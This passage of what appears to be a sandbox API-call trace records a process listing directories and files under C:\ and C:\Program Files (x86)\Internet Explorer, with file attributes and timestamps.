hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0075.292] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0075.292] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0075.292] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0075.292] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0075.292] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.292] FindClose (in: hFindFile=0x11a65a0 | out: hFindFile=0x11a65a0) returned 1 [0075.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0075.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0075.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0075.294] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0075.294] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*" (normalized: "c:\\program files (x86)\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11a65a0 [0075.295] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.295] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9d03b80, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9d03b80, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0075.295] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0075.295] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0075.295] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1063b30, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xda17a4c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda17a4c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~3")) returned 1 [0075.295] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d997770, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xda12e200, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda12e200, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0075.295] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2e22d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0075.295] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~4")) returned 1 [0075.295] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bf03b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4399b030, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4399b030, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0075.295] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39960750, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9d29ce0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9d29ce0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xd96c41c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96c41c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9710480, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9710480, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda17a4c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda17a4c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9de83c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9de83c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4a571440, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x4a571440, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0075.296] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0075.297] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.297] FindClose (in: hFindFile=0x11a65a0 | out: hFindFile=0x11a65a0) returned 1 [0075.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0075.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0075.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0075.297] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer", lpFilePart=0x0) returned 0x28 [0075.297] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\*" (normalized: "c:\\program files (x86)\\internet explorer\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11a65a0 [0075.298] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.298] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0075.298] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4eff5e0, ftCreationTime.dwHighDateTime=0x1d95026, ftLastAccessTime.dwLowDateTime=0x4fc041b0, ftLastAccessTime.dwHighDateTime=0x1d984e4, ftLastWriteTime.dwLowDateTime=0x4fc041b0, ftLastWriteTime.dwHighDateTime=0x1d984e4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="experience.exe", cAlternateFileName="EXPERI~1.EXE")) returned 1 [0075.298] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a37297, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a37297, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2a5d3f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0075.298] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be033e8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2be033e8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x90894420, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0075.298] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7f46f7c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xd7f46f7c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xd7f6d0dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0075.298] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22549a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22549a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb22a0c69, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0075.298] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22ecf2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22ecf2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23391ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb273d712, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb273d712, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27a3bdc, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb27a3bdc, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6b1085f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb23391ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb23391ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23854ab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27fbdf3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb27fbdf3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e87a7f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2e87a7f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2eadbdf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa4510, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a5d3f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a5d3f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2aa96b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0075.299] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: 